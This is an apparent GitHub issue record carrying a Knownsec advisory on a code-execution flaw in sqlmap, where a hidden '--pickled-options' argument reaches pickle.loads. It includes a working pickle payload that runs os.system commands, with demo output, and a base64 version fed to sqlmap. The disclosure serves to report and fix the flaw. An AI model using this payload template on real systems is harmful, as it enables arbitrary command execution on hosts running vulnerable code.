{"action":"closed","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1599","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1599/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1599/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1599/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/1599","id":121222791,"number":1599,"title":"Sqlmap Code Execute","user":{"login":"all3g","id":7352479,"avatar_url":"https://avatars.githubusercontent.com/u/7352479?v=3","gravatar_id":"","url":"https://api.github.com/users/all3g","html_url":"https://github.com/all3g","followers_url":"https://api.github.com/users/all3g/followers","following_url":"https://api.github.com/users/all3g/following{/other_user}","gists_url":"https://api.github.com/users/all3g/gists{/gist_id}","starred_url":"https://api.github.com/users/all3g/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/all3g/subscriptions","organizations_url":"https://api.github.com/users/all3g/orgs","repos_url":"https://api.github.com/users/all3g/repos","events_url":"https://api.github.com/users/all3g/events{/privacy}","received_events_url":"https://api.github.com/users/all3g/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":1,"created_at":"2015-12-09T12:09:09Z","updated_at":"2015-12-09T12:10:09Z","closed_at":"2015-12-09T12:10:09Z","body":"```\r\n\r\nSqlmap Code Execute\r\n\r\n\r\nTeam:   Knownsec Team\r\nSite:   http://www.knownsec.com/\r\n\r\n\r\n--[ Contents ]----------------------------------------------------------------\r\n\r\n1 - Summary\r\n    1.1 Background\r\n    1.2 Demo Platforms\r\n\r\n2 - Analysis\r\n    2.1 vulnerable code\r\n    2.2 How can we exploit it ?\r\n\r\n3 - Exploitation\r\n    3.1 Demo details\r\n\r\n4 - Conclusion\r\n\r\n5 - Refs\r\n\r\n--[ 1 - Summary ]-------------------------------------------------------------\r\n\r\n1.1 Background\r\n\r\n    Sqlmap is an open source penetration testing tool that automates the process \r\n    of detecting and exploiting SQL injection flaws and taking over of database \r\n    servers. It comes with a powerful detection engine, many niche features for \r\n    the ultimate penetration tester and a broad range of switches lasting from \r\n    database fingerprinting, over data fetching from the database, to accessing \r\n    the underlying file system and executing commands on the operating system via \r\n    out-of-band connections.\r\n\r\n    During a code review, we discovered code execute bugs.\r\n\r\n\r\n1.2 Demo Platforms: \r\n\t1. Python 2.7.9 + Linux core 3.18.2-2-ARCH  x86_64 GNU/Linux\r\n\t2. Python 2.7.8 + Microsoft Windows 6.1.7601 Service Pack 1 Build 7601\r\n\r\n\r\n--[ 2 - Analysis ]-------------------------------------------------------------\r\n\r\n2.1 vulnerable code\r\n\r\n    From \"https://docs.python.org/2/library/pickle.html\", we are warned, \r\n\r\n\t---[[[\r\n\tThe pickle module is not intended to be secure against erroneous or \r\n\tmaliciously constructed data. Never unpickle data received from an untrusted \r\n\tor unauthenticated source.\r\n\t]]]---\r\n\r\n\r\n    The vulnerable functions [pickle.load] and [pickle.loads], are placed in,\r\n\r\n\t[nixawk@core sectools]$ grep --color -n -R 'pickle.load' ./sqlmap/\r\n\t./sqlmap/thirdparty/bottle/bottle.py:2209:            return pickle.loads(base64.b64decode(msg))\r\n\t./sqlmap/lib/core/bigarray.py:79:                    self.chunks[-1] = pickle.load(fp)\r\n\t./sqlmap/lib/core/bigarray.py:112:                    self.cache = Cache(index, pickle.load(fp), False)\r\n\t./sqlmap/lib/core/convert.py:70:        retVal = pickle.loads(base64decode(value))\r\n\t./sqlmap/lib/core/convert.py:72:        retVal = pickle.loads(base64decode(bytes(value)))\r\n\r\n\r\n    Now, we treat pickle.loads as a analysis target. function base64unpickle is from (./sqlmap/lib/core/convert.py:70)\r\n\r\n\t 59 def base64unpickle(value):                                                                                                                                         \r\n\t 60     \"\"\"                                                                                                                                                            \r\n\t 61     Decodes value from Base64 to plain format and deserializes (with pickle) its content                                                                           \r\n\t 62                                                                                                                                                                    \r\n\t 63     >>> base64unpickle('gAJVBmZvb2JhcnEALg==')                                                                                                                     \r\n\t 64     'foobar'                                                                                                                                                       \r\n\t 65     \"\"\"                                                                                                                                                            \r\n\t 66                                                                                                                                                                    \r\n\t 67     retVal = None                                                                                                                                                  \r\n\t 68                                                                                                                                                                    \r\n\t 69     try:                                                                                                                                                           \r\n\t 70         retVal = pickle.loads(base64decode(value))                                                                                                                 \r\n\t 71     except TypeError:                                                                                                                                              \r\n\t 72         retVal = pickle.loads(base64decode(bytes(value)))                                                                                                          \r\n\t 73                                                                                                                                                                    \r\n\t 74     return retVal \r\n\r\n\r\n2.2 How can we exploit it ?\r\n\r\n    After review the sqlmap code, wo know that,\r\n    1. sqlmap cmdline args will be captured by [sqlmap.py] first, \r\n    2. cmdLineParser in main function (sqlmap.py) will parses the command line parameters.\r\n    3. cmdLineParser is imported from (./lib/parse/cmdline.py), and it will successfully return [args].\r\n    4. Next, [args] will be used by _mergeOptions (./lib/core/option.py)\r\n\r\n\r\n                        -------------------------\r\n    [SQLMAP AGRS] ----> |       sqlmap.py        |         ---------------------------------------------------\r\n                        -------------------------|------ > | cmdLineOptions.update(cmdLineParser().__dict__) |\r\n\t\t\t           |             |         ---------------------------------------------------\r\n                                   |             |------ > | initOption(cmdLineOption)                       |\r\n\t\t\t\t   |\t\t           ---------------------------------------------------\r\n                                   ↓\r\n\t\t\t--------------------------\r\n\t\t\t| ./lib/parse/cmdline.py |         -----------------------------------------------------------------\r\n\t\t\t-------------------------------- > | parser.add_option(\"--pickled-options\", dest=\"pickledOptions\", |\r\n                                   |                       -----------------------------------------------------------------\r\n                                   |\r\n\t\t\t\t   |\r\n                                   ↓ \r\n\t                 -------------------------\r\n\t\t\t | ./lib/core/option.py  |         ---------------------------------------------------------------------   \r\n\t\t\t ------------------------------- > | def initOptions(inputOptions=AttribDict(), overrideOptions=False) |\r\n\t\t\t           |                       |     ....                                                          |\r\n\t\t\t\t   |   \t\t           |     _mergeOptions(inputOptions, overrideOptions)                  |\r\n                                   |                       --------------------------------------------------------------------- \r\n\t\t\t\t   |   \t\t                                           |\r\n\t\t\t\t   |\t\t\t\t\t\t           |\r\n\t\t\t\t   |\t\t\t\t\t\t\t   |\r\n\t\t\t\t   |\t\t\t\t\t\t\t   |\r\n\t\t\t\t   |           \t             ------------------------------------------------------------------\r\n\t\t\t\t   |\t\t\t     | def _mergeOptions(inputOptions, overrideOptions):              |\r\n\t\t\t\t   |\t\t\t     |     inputOptions = base64unpickle(inputOptions.pickledOptions) |\r\n\t\t\t\t   |\t\t\t     ------------------------------------------------------------------\r\n\t\t\t\t   |\r\n\t\t\t\t   |\r\n\t\t\t\t   |\r\n                                   |\r\n\t\t\t\t   ↓\r\n\t                 -------------------------\r\n\t\t\t | ./lib/core/convert.py |           ------------------------------------------------------------------\r\n\t\t\t ------------------------------- >   | def base64unpickle(value):                                    |\r\n\t\t\t                                     |     ....                                                      |\r\n\t\t\t                                     |     try:                                                      |           -----------------\r\n\t\t\t\t\t\t\t     |         retVal = pickle.loads(base64decode(value))            | --------- | ^.^ BINGO !!! |\r\n\t\t\t\t\t\t\t     |     ....                                                      |           -----------------\r\n\t\t\t\t\t\t\t     -----------------------------------------------------------------\r\n\r\n\r\n    What's the matter ? Where is the bug ?\r\n    Yeah, bug is there. command parameters is the root of evil.\r\n\r\n\r\n    ------------------- ./lib/core/option.py ------------------\r\n\t1960 def _mergeOptions(inputOptions, overrideOptions):                                                                                                                 \r\n\t1961     \"\"\"                                                                                                                                                           \r\n\t1962     Merge command line options with configuration file and default options.                                                                                       \r\n\t1963                                                                                                                                                                   \r\n\t1964     @param inputOptions: optparse object with command line options.                                                                                               \r\n\t1965     @type inputOptions: C{instance}                                                                                                                               \r\n\t1966     \"\"\"                                                                                                                                                           \r\n\t1967                                                                                                                                                                   \r\n\t1968     if inputOptions.pickledOptions:                                                                                                                               \r\n\t1969         inputOptions = base64unpickle(inputOptions.pickledOptions)  \r\n\r\n\r\n    ------------------- ./lib/parse/cmdline.py ------------------\r\n\t722         # Hidden and/or experimental options                                                                                                                       \r\n\t723         parser.add_option(\"--dummy\", dest=\"dummy\", action=\"store_true\",                                                                                            \r\n\t724                           help=SUPPRESS_HELP)                                                                                                                      \r\n\t725                                                                                                                                                                    \r\n\t726         parser.add_option(\"--pickled-options\", dest=\"pickledOptions\",                                                                                              \r\n\t727                           help=SUPPRESS_HELP) \r\n\r\n\r\n\r\n--[ 3 - Exploitation ]-------------------------------------------------------------\r\n\r\n    3.1 Demo details:\r\n\r\n        Attention here:\r\n\t    our payload is \"cos\\nsystem\\n(S'uname -a'\\ntR.\",\r\n\t    Anybody can replace \"uname -a \" with commands which is supported\r\n\t    by your environment.\r\n\r\n\tFor examples, \r\n\r\n        -------- Arch Linux ---------------\r\n\t[nixawk@core tmp]$ python\r\n\tPython 2.7.9 (default, Dec 11 2014, 04:42:00) \r\n\t[GCC 4.9.2] on linux2\r\n\tType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\r\n\t>>> data = \"cos\\nsystem\\n(S'uname -a'\\ntR.\"\r\n\t>>> import pickle\r\n\t>>> pickle.loads(data)\r\n\tLinux core 3.18.2-2-ARCH #1 SMP PREEMPT Fri Jan 9 07:37:51 CET 2015 x86_64 GNU/Linux\r\n\t0\r\n\t>>> \r\n\r\n\r\n        -------- Windows 7 ----------------\r\n\tC:\\Users\\nixawk>python\r\n\tPython 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] on win32\r\n\tType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\r\n\t>>> import pickle\r\n\t>>> data = \"cos\\nsystem\\n(S'whoami'\\ntR.\"\r\n\t>>> pickle.loads(data)\r\n\tknownsec\\nixawk\r\n\t0\r\n\t>>> \r\n\r\n\t[nixawk@core sqlmap]$ python sqlmap.py --pickled-options \"Y29zCnN5c3RlbQooUyd1bmFtZSAtYScKdFIu\"\r\n\tLinux core 3.18.2-2-ARCH #1 SMP PREEMPT Fri Jan 9 07:37:51 CET 2015 x86_64 GNU/Linux\r\n\r\n\t[10:17:17] [CRITICAL] unhandled exception occurred in sqlmap/1.0-dev-7388c3b. It is recommended to retry your run with the latest development version from official GitHub repository at 'https://github.com/sqlmapproject/sqlmap'. If the exception persists, please open a new issue at 'https://github.com/sqlmapproject/sqlmap/issues/new' with the following text and any other information required to reproduce the bug. The developers will try to reproduce the bug, fix it accordingly and get back to you\r\n\tsqlmap version: 1.0-dev-7388c3b\r\n\tPython version: 2.7.9\r\n\tOperating system: posix\r\n\tCommand line: sqlmap.py --pickled-options Y29zCnN5c3RlbQooUyd1bmFtZSAtYScKdFIu\r\n\tTechnique: None\r\n\tBack-end DBMS: None (identified)\r\n\tTraceback (most recent call last):\r\n\t  File \"sqlmap.py\", line 78, in main\r\n\t    initOptions(cmdLineOptions)\r\n\t  File \"lib/core/option.py\", line 2341, in initOptions\r\n\t    _mergeOptions(inputOptions, overrideOptions)\r\n\t  File \"lib/core/option.py\", line 1971, in _mergeOptions\r\n\t    if inputOptions.configFile:\r\n\tAttributeError: 'int' object has no attribute 'configFile'\r\n\r\n\tdo you want to automatically create a new (anonymized) issue with the unhandled exception information at the official Github repository? [y/N] > \r\n\r\n--[ 4 - Conclusion ]-------------------------------------------------------------\r\nThe place where sqlmap can be accessed is our target.\r\n\r\n\r\n--[ 5 - Refs ]-------------------------------------------------------------\r\n\r\nhttps://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf\r\nhttps://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf\r\nhttps://docs.python.org/2/library/pickle.html\r\nhttps://blog.nelhage.com/2011/03/exploiting-pickle/\r\n```"}}